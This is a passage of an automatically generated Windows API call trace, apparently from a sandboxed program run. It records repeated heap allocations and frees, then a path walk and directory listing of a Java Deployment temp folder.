hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.304] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.305] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.305] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301df70 [0062.307] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0062.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0062.307] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.307] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0062.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74eb40 [0062.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0062.308] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0062.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0062.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0062.308] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0062.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0062.308] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0062.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.308] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0062.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0062.308] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0062.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0062.308] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.308] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.308] PathFindFileNameW (pszPath="") returned="" [0062.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee980 [0062.308] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee980 | out: hHeap=0x670000) returned 1 [0062.309] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.309] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, 